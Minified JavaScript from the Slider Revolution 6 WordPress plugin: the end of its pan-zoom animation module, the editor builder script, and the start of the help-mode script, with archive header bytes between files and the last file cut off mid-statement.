t=e.panzoom.split(";"),i={duration:10,ease:"none",scalestart:1,scaleend:1,rotatestart:.01,rotateend:0,blurstart:0,blurend:0,offsetstart:"0/0",offsetend:"0/0"};for(var a in t)if(t.hasOwnProperty(a)){var r=t[a].split(":"),s=r[0],o=r[1];switch(s){case"d":i.duration=parseInt(o,0)/1e3;break;case"e":i.ease=o;break;case"ss":i.scalestart=parseInt(o,0)/100;break;case"se":i.scaleend=parseInt(o,0)/100;break;case"rs":i.rotatestart=parseInt(o,0);break;case"re":i.rotateend=parseInt(o,0);break;case"bs":i.blurstart=parseInt(o,0);break;case"be":i.blurend=parseInt(o,0);break;case"os":i.offsetstart=o;break;case"oe":i.offsetend=o}}return i.offsetstart=i.offsetstart.split("/")||[0,0],i.offsetend=i.offsetend.split("/")||[0,0],i.rotatestart=0===i.rotatestart?.01:i.rotatestart,e.panvalues=i,e.bgposition="center center"==e.bgposition?"50% 50%":e.bgposition,i},pzCalcL:function(e,i,a){var r,s,o,n,l,d,S=void 0===a.panvalues?jQuery.extend(!0,{},t.getPZValues(a)):jQuery.extend(!0,{},a.panvalues),c=S.offsetstart,p=S.offsetend,R={start:{width:e,height:_R_is_Editor?e/a.loadobj.width*a.loadobj.height:e/a.owidth*a.oheight,rotation:Math.PI/180*S.rotatestart,rotationV:S.rotatestart,scale:S.scalestart,transformOrigin:"0% 0%"},end:{rotation:Math.PI/180*S.rotateend,rotationV:S.rotateend,scale:S.scaleend}};S.scalestart,a.owidth,a.oheight,S.scaleend,a.owidth,a.oheight;return R.start.height<i&&(d=i/R.start.height,R.start.height=i,R.start.width=R.start.width*d),.01===S.rotatestart&&0===S.rotateend&&(delete R.start.rotation,delete R.end.rotation),r=t.getPZCorners(a,e,i,R),c[0]=parseFloat(c[0])+r.start.l,p[0]=parseFloat(p[0])+r.end.l,c[1]=parseFloat(c[1])+r.start.t,p[1]=parseFloat(p[1])+r.end.t,s=r.start.r-r.start.l,o=r.start.b-r.start.t,n=r.end.r-r.end.l,l=r.end.b-r.end.t,c[0]=c[0]>0?0:s+c[0]<e?e-s:c[0],p[0]=p[0]>0?0:n+p[0]<e?e-n:p[0],c[1]=c[1]>0?0:o+c[1]<i?i-o:c[1],p[1]=p[1]>0?0:l+p[1]<i?i-l:p[1],R.start.x=c[0],R.start.y=c[1],R.end.x=p[0],R.end.y=p[1],R.end.ease=S.ease,R},pzDrawShadow:function(e,i,a){("animating"===i.currentState||null==i.panFake||i.pzLastFrame)&&(i.pzLastFrame=!1,i.shadowCTX.clearRect(0,0,i.shadowCanvas.width,i.shadowCanvas.height),i.shadowCTX.save(),void 0!==a.rotation?i.shadowCTX.transform(Math.cos(a.rotation)*a.scale,Math.sin(a.rotation)*a.scale,Math.sin(a.rotation)*-a.scale,Math.cos(a.rotation)*a.scale,a.x,a.y):i.shadowCTX.transform(a.scale,0,0,a.scale,a.x,a.y),i.shadowCTX.drawImage(i.loadobj.img,0,0,a.width,a.height),i.shadowCTX.restore()),"animating"!==i.currentState?null!=i.panFake?(i.panFake.visible||(i.panFake.visible=!0,i.panFake.img.style.opacity=1,i.canvas.style.opacity=0),tpGS.gsap.set(i.panFake.img,{width:a.width,height:a.height,force3D:!0,x:a.x,y:a.y,transformOrigin:"0% 0%",rotationZ:a.rotationV+"deg",scale:a.scale}),void 0!==a.blur&&(i.panFake.img.style.filter=0===a.blur?"none":"blur("+a.blur+"px)")):(t.updateSlideBGs(e,a.slidekey,i,!0),void 0!==a.blur&&(i.canvas.style.filter=0===a.blur?"none":"blur("+a.blur+"px)")):(void 0!==i.panFake&&!1!==i.panFake.visible&&(i.panFake.visible=!1,i.panFake.img.style.opacity=0,i.canvas.style.opacity=1,i.panFake.img.style.filter="none"),void 0!==a.blur&&i.canvasFilter?i.canvasFilterBlur=a.blur:i.canvas.style.filter=0===a.blur?"none":"blur("+a.blur+"px)")},startPanZoom:function(e,i,a,r,s,o){var n=_R_is_Editor?e:e.data();if(void 0!==n.panzoom&&null!==n.panzoom){var l=_R_is_Editor?n:t[i].sbgs[o];_R_is_Editor||"carousel"!==t[i].sliderType||(t[i].carousel.justify&&void 0===t[i].carousel.slide_widths&&t.setCarouselDefaults(i,!0),t[i].carousel.justify||(void 0===t[i].carousel.slide_width&&(t[i].carousel.slide_width=!0!==t[i].carousel.stretch?t[i].gridwidth[t[i].level]*(0===t[i].CM.w?1:t[i].CM.w):t[i].canv.width),void 0===t[i].carousel.slide_height&&(t[i].carousel.slide_height=!0!==t[i].carousel.stretch?t[i].gridheight[t[i].level]*(0===t[i].CM.w?1:t[i].CM.w):t[i].canv.height)));var d,S=t.getmDim(i,r,l),c=t.pzCalcL(S.width,S.height,n);l.pzAnim=c,_R_is_Editor||(t[i].panzoomTLs=void 0===t[i].panzoomTLs?{}:t[i].panzoomTLs,t[i].panzoomBGs=void 0===t[i].panzoomBGs?{}:t[i].panzoomBGs,void 0===t[i].panzoomBGs[r]&&(t[i].panzoomBGs[r]=e),d=t[i].panzoomTLs[r]),a=a||0,void 0!==d&&(d.pause(),d.kill(),d=void 0),d=tpGS.gsap.timeline({paused:!0}),n.panvalues.duration=NaN===n.panvalues.duration||void 0===n.panvalues.duration?10:n.panvalues.duration,_R_is_Editor||void 0===n||void 0===l||(l.panvalues=n.panvalues),void 0!==l&&(void 0===l.shadowCanvas&&(l.shadowCanvas=document.createElement("canvas"),l.shadowCTX=l.shadowCanvas.getContext("2d"),l.shadowCanvas.style.background="transparent",l.shadowCanvas.style.opacity=1),l.shadowCanvas.width!==S.width&&(l.shadowCanvas.width=S.width),l.shadowCanvas.height!==S.height&&(l.shadowCanvas.height=S.height),c.slideindex=r,c.slidekey=_R_is_Editor?void 0:o,c.start.slidekey=c.slidekey,t.pzDrawShadow(i,l,c.start),c.end.onUpdate=function(){t.pzDrawShadow(i,l,c.start)},l.panStart=jQuery.extend(!0,{},c.start),void 0===n.panvalues.blurstart||void 0===n.panvalues.blurend||0===n.panvalues.blurstart&&0===n.panvalues.blurend||(c.start.blur=n.panvalues.blurstart,c.end.blur=n.panvalues.blurend),(!_R_is_Editor&&void 0===c.start.blur&&!t.isFF||window.isSafari11&&t.ISM)&&(l.panFake=void 0===l.panFake?{img:l.loadobj.img.cloneNode(!0)}:l.panFake,void 0!==l.panFake&&(!0!==l.panFake.appended&&(l.panFake.appended=!0,l.sbg.appendChild(l.panFake.img),l.panFake.img.style.position="absolute",l.panFake.img.style.display="block",l.panFake.img.style.zIndex=0,l.panFake.img.style.opacity=0,l.panFake.img.style.top="0px",l.panFake.img.style.left="0px"),l.panFake.img.width=c.start.width,l.panFake.img.height=c.start.height)),d.add(tpGS.gsap.to(c.start,n.panvalues.duration,c.end),0),d.progress(a),"play"!==s&&"first"!==s||d.play(),_R_is_Editor?RVS.TL[RVS.S.slideId].panzoom=d:t[i].panzoomTLs[r]=d)}}}),window.RS_MODULES=window.RS_MODULES||{},window.RS_MODULES.panzoom={loaded:!0,version:"6.5.6"},window.RS_MODULES.checkMinimal&&window.RS_MODULES.checkMinimal()}(jQuery),
/*!
 * REVOLUTION 6.0.0 EDITOR BUILDER JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
RVS.S.layerTypes=["text","button","image","video","audio","svg","object","shape","row","column","group"],RVS.S.nextscreen="none",RVS.S.prevscreen="n",RVS.S.uniqueIds=[],RVS.S.uniqueId=0,RVS.S.selLayerTypes={row:!1,column:!1,group:!1,text:!1,image:!1,shape:!1,object:!1,button:!1,audio:!1,video:!1,bottom:!1,top:!1,middle:!1},RVS.S.selElements=[],RVS.selLayers=[],RVS.screen="d",RVS.TL={currentTime:0,c:{}},RVS.C.rZone={top:"",middle:"",bottom:""},RVS.S.slideTrans=0,RVS.S.emptyLayerObj={},function(){var e,t;RVS.F.initAdmin(),RVS.SLIDER={},RVS.zoom=1,RVS.F.loadBuilder=function(e){var t=void 0!==e&&void 0!==e.id&&e.id;!1!==t&&RVS.F.setEditorUrl(t),RVS.V.ignoreAutoStart=!0,jQuery("#builderView").length>0&&jQuery("#builderView").remove(),RVS.F.ajaxRequest("load_builder",{},function(e){jQuery("#wpbody").append(e.data),!1!==t&&RVS.F.loadSlider({id:t})})},RVS.F.loadSlider=function(e){RVS.C.slideList=jQuery("#slidelist"),RVS.C.theRightToolbar=jQuery("#the_right_toolbar_inner"),RVS.C.theEditor=jQuery("#the_editor"),RVS.S.ulInner=jQuery("#rev_slider_ul_inner"),(void 0!==e.id&&""!==e.id||void 0!==e.alias&&""!==e.alias)&&(RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.loadingcontent}),RVS.F.ajaxRequest("get_full_slider_object",void 0!==e.alias&&""!==e.alias?{alias:e.alias}:{id:e.id},function(e){if(void 0===e.id)RVS.F.showWaitAMinute({fadeIn:200,text:RVS_LANG.redirectingtooverview}),RVS.F.backToOverview();else{if(RVS.F.showWaitAMinute({fadeIn:200,text:RVS_LANG.preparingdatas}),RVS.SLIDER.id=e.id,RVS.ENV.sliderID=e.id,e.slider_params.alias=e.alias,e.slider_params.title=e.title,r(e.slider_params),void 0===RVS.S.emptyLayerObj.shape)for(var t in RVS.S.layerTypes)RVS.S.emptyLayerObj[RVS.S.layerTypes[t]]=RVS.F.addLayerObj(RVS.S.layerTypes[t],void 0,!1,!0,!0);for(var s in e.slides)if(e.slides.hasOwnProperty(s)){let i=e.slides[s];for(t in i.params=void 0!==i.params&&Array.isArray(i.params)?void 0:RVS.F.expandSlide(i.params),i.layers)void 0!==i.layers[t].position&&null==i.layers[t].position.zIndex&&void 0!==i.layers[t].group&&void 0!==i.layers[t].group.groupOrder&&(i.layers[t].position.zIndex=i.layers[t].group.groupOrder,RVS.S.zIndexAtStartChanged=!0);void 0!==i.params&&void 0!==i.params.static&&(i.params.static.isstatic=!1),a({slideid:i.id,uid:i.id,slide:i.params,layers:i.layers})}i(e.static_slide),RVS.F.makeSlideListSortable(),RVS.F.makeSlideListScroll(),init(),RVS.F.showWaitAMinute({fadeOut:200,text:RVS_LANG.preparingdatas}),void 0===e.slider_params.layout?RVS.F.openNewGuide():void 0!==RVS.SLIDER.settings.skins&&!0===RVS.SLIDER.settings.skins.colorsAtStart&&setTimeout(RVS.F.openColorSkinApi(),500)}},void 0,!0,void 0,void 0,!0),RVS.F.showWaitAMinute({fadeOut:0,text:RVS_LANG.loadingcontent}),s())},RVS.F.addOnsBasics=function(){for(var e in RVS.LIB.ADDONS)RVS.LIB.ADDONS.hasOwnProperty(e)&&(RVS.SLIDER.settings.addOns[e]=void 0===RVS.SLIDER.settings.addOns[e]?{enable:!1}:RVS.SLIDER.settings.addOns[e])};var i=function(e){var t=void 0!==e.params?RVS.F.addSlideObj():RVS.F.addSlideObj(e.slide);t.title=RVS_LANG.globalLayers,t.static.isstatic=!0,void 0!==e.params&&void 0!==e.params.static&&(t.static.overflow=void 0===e.params.static.overflow?"hidden":e.params.static.overflow,t.static.position=void 0===e.params.static.position?"front":e.params.static.position,t.static.lastEdited=void 0===e.params.static.lastEdited||"front"===e.params.static.lastEdited||e.params.static.lastEdited),e.id=void 0===e.id?RVS.ENV.sliderID:e.id,a({slideid:"static_"+e.id,uid:e.id,slide:t,layers:e.layers,order:999}),RVS.SLIDER.staticSlideId="static_"+e.id},a=function(e){e.layers=void 0===e.layers?{}:e.layers,e.slide=void 0===e.slide?{}:e.slide,RVS.SLIDER.slideIDs=void 0===RVS.SLIDER.slideIDs?[]:RVS.SLIDER.slideIDs;var t={slide:RVS.F.addSlideObj(e.slide),layers:{},id:e.uid};for(var i in e.layers)if(e.layers.hasOwnProperty(i)){var a=e.layers[i],r=RVS.F.addLayerObj(jQuery.extend(!0,jQuery.extend(!0,{},RVS.S.emptyLayerObj[a.type]),a));if(void 0===r)continue;"zone"===r.type&&"bottom"!==r.uid&&"middle"!==r.uid&&"top"!==r.uid||r&&(t.layers[r.uid]=r)}RVS.SLIDER[e.slideid]=t,RVS.SLIDER.slideIDs.push(e.slideid),RVS.S.slideId=e.slideid,RVS.F.addToSlideList({id:e.slideid,ignoreSort:!0})},r=function(e){RVS.SLIDER.settings=RVS.F.setSlider(e)},s=function(){RVS.C.undo=document.getElementById("undolist"),RVS.C.redo=document.getElementById("redolist"),RVS.C.vW=document.getElementById("builderView"),RVS.C.rb=jQuery("#rev_builder"),RVS.C.rb_tlw=jQuery("#rb_tlw"),RVS.C.the_cont=void 0===RVS.C.the_cont?jQuery("#the_container"):RVS.C.the_cont,RVS.C.the_cont[0].className="no_layers_selected",RVS.C.formCollectors=document.getElementsByClassName("form_collector"),RVS.C.simpleCollectors=[];var e=0;for(var t in RVS.C.formCollectors)RVS.C.formCollectors.hasOwnProperty(t)&&(""===RVS.C.formCollectors[t].id&&(RVS.C.formCollectors[t].id="form_collector_id_"+e),-1==RVS.C.formCollectors[t].className.indexOf("__inmodal")&&RVS.C.simpleCollectors.push(RVS.C.formCollectors[t]),RVS.C.formCollectors[t].className+=" "+RVS.C.formCollectors[t].dataset.type+"_forms",e++);for(var t in RVS.C.simpleCollectors)RVS.C.simpleCollectors.hasOwnProperty(t)&&RVS.C.theRightToolbar[0].appendChild(RVS.C.simpleCollectors[t]);RVS.F.initNavigation(),RVS.DOC.on("revertEasyInputs",function(e,t){RVS.F.updateEasyInputs({container:t,trigger:"init",path:"settings."})}),RVS.F.initialiseInputBoxes()};init=function(){RVS.F.generateAttachmentMetaData(),RVS.S.slideId=RVS.F.getEditorUrl(),""+RVS.S.slideId.indexOf("slider-")>=0&&(RVS.S.slideId=RVS.SLIDER.slideIDs[0],""+RVS.S.slideId.indexOf("static_")>0&&RVS.SLIDER.slideIDs.length>1&&(RVS.S.slideId=RVS.SLIDER.slideIDs[1])),RVS.F.initSliderBuilder(),RVS.F.initTimeLineModules(),RVS.F.initTimeLineConstruct(),RVS.F.initSlideBuilder(),RVS.F.initLayerTools(),RVS.F.initLayerActions(),RVS.F.initLayerBuilder(),RVS.F.initLayerListBuilder(),RVS.F.initQuickStyle(),RVS.F.updateInputBoxes(),RVS.F.initOnOff(),RVS.F.switchButtonInit(),jQuery("#undoredowrap").RSScroll({wheelPropagation:!1,suppressScrollX:!0,minScrollbarLength:100}),tpGS.gsap.set("#adminmenumain, #wpadminbar",{opacity:0}),window.onbeforeunload=function(t){if(RVS.F.showWaitAMinute({fadeIn:500,text:e?RVS_LANG.redirectingtooverview:RVS_LANG.leavingpage}),RVS.S.need_to_save){e=!1,RVS.F.showWaitAMinute({fadeOut:500});var t=t||window.event;return t&&(t.returnValue=RVS_LANG.leaving),RVS_LANG.leaving}},RVS.DOC.on("enablePXModule",function(e,t){void 0!==t&&("slideparallax"===t&&!0!==RVS.SLIDER.settings.parallax.set&&"-"!==RVS.SLIDER[RVS.S.slideId].slide.effects.parallax||"object"==typeof t&&"-"!==RVS.L[t.layerid].effects.parallax&&!0!==RVS.SLIDER.settings.parallax.set)&&(RVS.SLIDER.settings.parallax.set=!0,RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_effects_scroll"),trigger:"init",visualUpdate:!0}),RVS.F.showInfo({content:RVS_LANG.parallaxsettoenabled,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""}))}),RVS.DOC.on("enableScrollEffectModule",function(e,t){void 0!==t&&("object"!=typeof t&&("fade"===t||"blur"===t||"grayscale"===t)&&!0!==RVS.SLIDER.settings.parallax.set&&"true"==RVS.SLIDER[RVS.S.slideId].slide.effects[t]||"object"==typeof t&&null==t.layerid&&void 0!==t.val&&"true"==t.val&&!0!==RVS.SLIDER.settings.scrolleffects.set||"object"==typeof t&&void 0!==t.layerid&&"true"==RVS.L[t.layerid].effects.effect&&!0!==RVS.SLIDER.settings.scrolleffects.set)&&(RVS.SLIDER.settings.scrolleffects.set=!0,RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_effects_scroll"),trigger:"init",visualUpdate:!0}),RVS.F.showInfo({content:RVS_LANG.feffectscrollsettoenabled,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""}))}),RVS.DOC.on("enableScrollModule",function(e,t){void 0!==t&&void 0!==t.layerid&&("true"==RVS.L[t.layerid].timeline.scrollBased&&!0!==RVS.SLIDER.settings.scrolltimeline.set&&(RVS.SLIDER.settings.scrolltimeline.set=!0,RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_effects_scroll"),trigger:"init",visualUpdate:!0}),RVS.F.showInfo({content:RVS_LANG.timelinescrollsettoenabled,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""})),!0===RVS.SLIDER.settings.scrolltimeline.set&&("true"==RVS.L[t.layerid].timeline.scrollBased||"default"==RVS.L[t.layerid].timeline.scrollBased&&!0===RVS.SLIDER.settings.scrolltimeline.layers)&&(RVS.L[t.layerid].timeline.loop.use=!1,RVS.F.updateEasyInputs({container:jQuery("#layer_looping_wrap"),trigger:"init",visualUpdate:!0}),RVS.F.showInfo({content:RVS_LANG.layerloopdisabledduetimeline,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""})))}),RVS.DOC.on("click",".action_collection_wrap",function(){jQuery(this).toggleClass("showmore")}),RVS.DOC.on("click","#rb_editor_logo",function(){clearTimeout(t),jQuery(".rs-builder-mode.hideallwp").addClass("showwpmenus"),tpGS.gsap.to("#adminmenumain",.5,{opacity:1})}),RVS.DOC.on("mouseenter","#adminmenumain, #wpadminbar",function(){clearTimeout(t),jQuery(".rs-builder-mode.hideallwp").addClass("showwpmenus"),tpGS.gsap.to("#adminmenumain",.5,{opacity:1})}),RVS.DOC.on("mouseleave","#adminmenumain, #wpadminbar",function(){t=setTimeout(function(){tpGS.gsap.to("#adminmenumain, #wpadminbar",.1,{opacity:0,onComplete:function(){jQuery(".rs-builder-mode.hideallwp").removeClass("showwpmenus")}})},200)}),RVS.DOC.on("mouseleave",".action_collection_wrap",function(){jQuery(this).removeClass("showmore")}),RVS.DOC.on("mouseover",".aable",function(e){jQuery(".aable.hovered").removeClass("hovered");var t=jQuery(e.toElement);t.hasClass("aable")?t.addClass("aable").addClass("hovered"):t.closest(".aable").addClass("hovered")}),RVS.DOC.on("mouseleave",".aable",function(e){var t=jQuery(this);t.hasClass("aable")?t.removeClass("hovered"):t.closest(".aable").removeClass("hovered")}),RVS.DOC.on("click",".markable",function(){if(!RVS.S.justresized)return function(e){if(void 0===e||"object"!=typeof e||void 0===e.element&&void 0===e.jelement&&void 0===e.id)return!1;void 0!==e.id&&(e.jelement=jQuery("#"+e.id)),void 0===e.element&&(e.element=e.jelement[0]),void 0===e.jelement&&(e.jelement=jQuery(e.element)),void 0===e.id&&(e.id=e.element.id),void 0!==e.jelement&&(function(e){var t=[];for(var i in RVS.S.selElements)RVS.S.selElements[i].id===e?t.push(RVS.S.selElements[i]):RVS.S.selElements[i].jobj.removeClass("marked");RVS.S.selElements=t,RVS.DOC.trigger("cursorselection"),RVS.F.selectLayers({ignoreModeChange:!0,overwrite:!0})}(e.element.id),RVS.S.selElements=[],RVS.S.selElements.push({jobj:e.jelement,multiplemark:e.element.dataset.multiplemark,forms:e.jelement.data("forms"),id:e.element.id}),e.jelement.addClass("marked"))}({id:this.id}),RVS.F.openSettings({forms:jQuery(this).data("forms"),uncollapse:this.dataset.collapse}),!1}),RVS.DOC.on("click",".slide_list_element, .slide_list_child_element",function(){RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.preparingNextSlide});var e=this.dataset.ref;return setTimeout(function(){var t=RVS.SLIDER[RVS.S.slideId].slide.static.isstatic;RVS.S.lastShownSlideId=RVS.S.slideId;var i=(" "+RVS.C.vW.className).indexOf(" mode__slidestyle")>=0;RVS.F.mainMode({mode:"slidelayout",slide:e}),i?(RVS.DOC.trigger("changeToSlideMode"),!RVS.SLIDER[RVS.S.slideId].slide.static.isstatic&&t&&(jQuery(".slide_submodule_trigger.selected").removeClass("selected"),RVS.F.showForms("#form_slidebg",!0)),RVS.F.updateSlideInputFields()):(RVS.DOC.trigger("changeToLayerMode"),RVS.F.updateLayerInputFields()),RVS.F.showWaitAMinute({fadeOut:0,text:RVS_LANG.preparingNextSlide})},10),!1}),RVS.DOC.on("click",".callEventButton",function(){void 0!==this.dataset.evt&&RVS.DOC.trigger(this.dataset.evt,this.dataset.evtparam)}),RVS.DOC.on("click","#back_to_overview",function(){RVS.F.setCookie("rs6_shortly_edited_slider",RVS.ENV.sliderID,17e-5),e=!0,RVS.S.need_to_save||RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.redirectingtooverview}),RVS.F.backToOverview()}),RVS.DOC.on("click","#undo, #undo_redo_wrap",function(){RVS.F.undo({step:1})}),RVS.DOC.on("click","#redo",function(){RVS.F.redo({step:1})}),RVS.DOC.on("click",".undoredostep",function(){"redolist"===this.parentElement.id?RVS.F.redo({step:parseInt(jQuery(this).index(),0)+1}):RVS.F.undo({step:jQuery("#undolist li").length-jQuery(this).index()-1})}),RVS.DOC.on("click","#noactiondone_undo",function(){RVS.F.undo({step:jQuery("#undolist li").length})}),RVS.DOC.on("keydown",function(e){if(("none"===RVS.S.inFocus||void 0===RVS.S.inFocus)&&("MacOS"===RVS.S.OSName&&e.metaKey&&!e.ctrlKey||e.ctrlKey))switch(e.keyCode){case 83:return e.preventDefault(),RVS.DOC.trigger("saveslider"),!1;case 90:return RVS.F.undo({step:1}),!1;case 89:return RVS.F.redo({step:1}),!1}}),RVS.DOC.on("click",".close_and_accept",function(){var e=jQuery(this.closest(".form_collector"));e.hide(),void 0!==this.dataset.evt&&RVS.DOC.trigger(this.dataset.evt,this.dataset.evtparam)}),RVS.DOC.on("mouseover",".callhoverevt",function(e){void 0!==this.dataset.hoverevt&&RVS.DOC.trigger(this.dataset.hoverevt,this.dataset.hoverevtparam)}),RVS.DOC.on("mouseleave",".callhoverevt",function(e){void 0!==this.dataset.leaveevt&&RVS.DOC.trigger(this.dataset.leaveevt,this.dataset.leaveevtparam)}),RVS.DOC.on("mouseover","#ruler_top, #ruler_left",function(e){return RVS.S.builderHover="overruler",!1}),RVS.DOC.on("mouseover","#timeline_settings",function(e){return RVS.S.builderHover="overtimeline",!1}),RVS.DOC.on("mouseover","#rev_builder_inner",function(e){return RVS.S.builderHover="overbuilder",!1}),RVS.DOC.on("mouseleave","#rev_builder_wrapper",function(e){return RVS.S.builderHover=!1,RVS.F.setRulerMarkers(),!1}),RVS.DOC.on("mouseleave","#the_right_toolbar_inner",function(e){return RVS.S.builderHover=!1,RVS.F.setRulerMarkers(),!1}),tpGS.gsap.set("#optimizeslider",{display:"none",autoAlpha:0,y:50}),RVS.DOC.on("mouseenter","#save_slider, #optimizeslider",function(e){clearTimeout(RVS.S.mouseOverSaveOpt),tpGS.gsap.to("#optimizeslider",.3,{display:"block",autoAlpha:1,y:0,ease:"power3.inOut"})}),RVS.DOC.on("mouseleave","#save_slider, #optimizeslider",function(e){RVS.S.mouseOverSaveOpt=setTimeout(function(){tpGS.gsap.to("#optimizeslider",.3,{display:"none",autoAlpha:0,y:50,ease:"power3.inOut"})},10)}),RVS.DOC.on("click","#save_slider",function(){RVS.DOC.trigger("saveslider")}),RVS.DOC.on("click","#optimizeslider",function(e){RVS.F.openOptimizer()}),RVS.DOC.on("click","#preview_slider",function(){RVS.F.openPreivew({title:RVS.SLIDER.settings.title,alias:RVS.SLIDER.settings.alias,id:RVS.SLIDER.id,mode:this.dataset.mode})}),RVS.DOC.on("saveslider",function(e,t){RVS.F.convertIDStoTxt(),RVS.F.convertArrayToObjects(),RVS.F.saveSlides({index:0,slides:RVS.SLIDER.slideIDs,trigger:RVS.F.saveSliderSettings,works:RVS.SLIDER.inWork,force:void 0!==t&&void 0!==t.force&&t.force})}),tpGS.gsap.fromTo("#builderView",.001,{x:"100%"},{x:"0%",ease:"power3.inOut"}),setTimeout(function(){RVS.F.mainMode({mode:"slidelayout",ignoreUpdateFields:!0,forms:["*slidelayout*"],set:!0,uncollapse:!0,slide:RVS.S.slideId}),RVS.F.mainMode({mode:"sliderlayout",forms:["*sliderlayout*#form_module_title"],set:!0,uncollapse:!0,slide:RVS.S.slideId}),jQuery("body.rs-builder-mode").addClass("hideallwp"),jQuery("#ui_preset_toggle").on("click",function(){var e=jQuery(this);e.hasClass("windowmode")?(e.removeClass("windowmode"),RVS.F.fixTools()):(e.addClass("windowmode"),RVS.F.releaseDarkTools())}),function(){if("MacOS"===RVS.F.os()){var e,t=document.querySelectorAll(".shortcut_cmdctrl"),i=document.querySelectorAll(".shortcuttext");for(e in t)t.hasOwnProperty(e)&&(t[e].textContent="⌘");for(e in i)t.hasOwnProperty(e)&&i[e].classList.add("osx")}}(),RVS.DOC.trigger("checkOnScrollSettings"),RVS.DOC.trigger("builderInitialised")},1)}}();PK�y3\��E��V�Vassets/js/modules/help.jsnu�[���/*!
 * REVOLUTION 6.0.0 HELP JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
jQuery(function(){if("undefined"!=typeof jQuery){var e,t,s,a,i,r,l,o,n,c,d,p,u,h,f,_,m,v,y,g,b,k,j,w,Q,S,C,R,T,x,O,V,H,P,G,N,A,I,L,q,E,F,D,M,z,J,W,B=":checked",U=new RegExp("layerinput|actioninput"),X=new RegExp("sliderinput|navstyleinput"),K=new RegExp("slideinput|added_slide_transition"),Y="*[data-r], *[data-select], *[data-helpkey], .ddTP, .revbuilder-colorpicker, .tponoffwrap, .fake_on_button, .added_slide_transition, .lal_group_member",Z=".frame_list_title, .intelligent_buttons";jQuery(".help_wrap").on("click",function(t){t.stopImmediatePropagation(),void 0!==RVS.ENV.plugin_url&&"undefined"!=typeof RVS&&"undefined"!=typeof tpGS&&(F?ee():(jQuery("head").append('<link rel="stylesheet" type="text/css" href="'+RVS.ENV.plugin_url+'admin/assets/css/help.css" />'),RVS.F.ajaxRequest("get_help_directory",{},function(t){var n;if(t.success){try{n=JSON.stringify(t.data),n=JSON.parse(n)}catch(e){n=!1}n?(r=n.translations,a=n.helpindex,F=!0,function(){win=jQuery(window),l=jQuery("body");var t='<div id="help_mode_modal"><div class="help-mode-title"><span id="help_mode_title_wrap" class="help-icon-default"><i class="material-icons">touch_app</i><i class="material-icons">settings</i><i class="material-icons">gamepad</i><i class="material-icons">burst_mode</i><i class="material-icons">layers</i><span id="help_mode_title">'+r.helpMode+'</span></span><span id="help_mode_main_title">'+r.instructions+'</span><div id="help_mode_video_wrap"><video id="help_mode_video" width="520" height="292" muted loop playsinline><source src="'+RVS.ENV.plugin_url+'/admin/assets/videos/hover_tutorial.mp4" type="video/mp4" /></video></div></div><div class="help-mode-description"><div class="help-mode-section"><div id="help_mode_description"></div></div><div id="help-mode-buttons" class="help-mode-section"><div id="help_mode_documentation" class="help-mode-button"><i class="material-icons">library_books</i> '+r.viewDocs+'</div><div id="help_mode_option" class="help-mode-button"><i class="material-icons">near_me</i><i class="material-icons">settings</i><i class="material-icons">gamepad</i><i class="material-icons">burst_mode</i><i class="material-icons">layers</i> '+r.showOption+'</div><div class="tp-clearfix"></div></div></div><div id="help_mode_search_wrap"><div id="help_mode_search" class="help-mode-section"><input id="help_search_input" type="text" placeholder="'+r.search+'\'><span id=\'help_input_clear\'><i class=\'material-icons\'>close</i></span></div><div id="help_search_results"><div class="help-results-container"><div id="help-options-wrap" class="help-results-wrap"><div id="help_options_results" class="help-results"></div></div></div><div class="help-results-container"><div id="help-faqs-wrap" class="help-results-wrap"><div id="help_faq_results" class="help-results"></div></div></div><div class="tp-clearfix"></div></div></div><span id="help_modal_close"><i class="material-icons help-no-drag">close</i></span></div>';jQuery(t).prependTo(jQuery("#the_right_toolbar")),s=jQuery("#help_mode_title"),v=jQuery("#help_mode_title_wrap"),H=jQuery("#help_mode_description"),jQuery("#help-mode-buttons"),C=jQuery("#help_faq_results"),q=jQuery("#help_search_results"),E=jQuery("#help_options_results"),jQuery("#help_mode_search"),W=jQuery("#help_search_input").on("focus",oe).on("keyup",Pe),D=jQuery("#help_input_clear").on("click",function(){W.val("").trigger("keyup")}),s.data("origtext",s.html()),o=jQuery("#help_mode_modal").draggable({cancel:".help-no-drag, .help-mode-description, #help_mode_search_wrap"}).on("mouseenter",ge).on("mouseleave",be),jQuery("#help_modal_close").on("click",function(){l.removeClass("help-mode-active")}),Q=jQuery("#help_mode_documentation").on("click",function(){jQuery(".help-input-focus").removeClass("help-input-focus"),window.open(this.dataset.link)}),N=jQuery("#help_mode_option").on("click",He),J=jQuery(".help-results-wrap").RSScroll({wheelPropagation:!0,suppressScrollX:!0,minScrollbarLength:100}),y=jQuery("#help_mode_video"),b=jQuery("#help_mode_video_wrap"),z=jQuery(".help-mode-description"),function(){for(var e=[[".fake_on_button","slider","size.custom.d"],['*[data-r="source.woo.types"]',"slider","source.post.types"],['*[data-r="source.woo.category"]',"slider","source.post.category"],['*[data-r="source.woo.sortBy"]',"slider","source.post.sortBy"],['*[data-r="source.woo.sortDirection"]',"slider","source.post.sortDirection"],['*[data-r="source.woo.maxProducts"]',"slider","source.post.maxPosts"],['*[data-r="source.woo.excerptLimit"]',"slider","source.post.excerptLimit"],["#row_column_structure","layer","row_column_structure"],[".colselector label_bigicon","layer","row_column_structure"],[".layer_rowbreak_icons","layer","group.columnbreakat"],[".modal_hor_selector","slider","modal.horizontal"],[".modal_ver_selector","slider","modal.vertical"]],t=0;t<e.length;t++)jQuery(e[t][0]).attr({"data-helproot":e[t][1],"data-helpkey":e[t][2]})}(),HelpGuide.addOnsHelp.length&&HelpGuide.extendHelpAddOns(HelpGuide.addOnsHelp),e="",i=0,ie(a,' 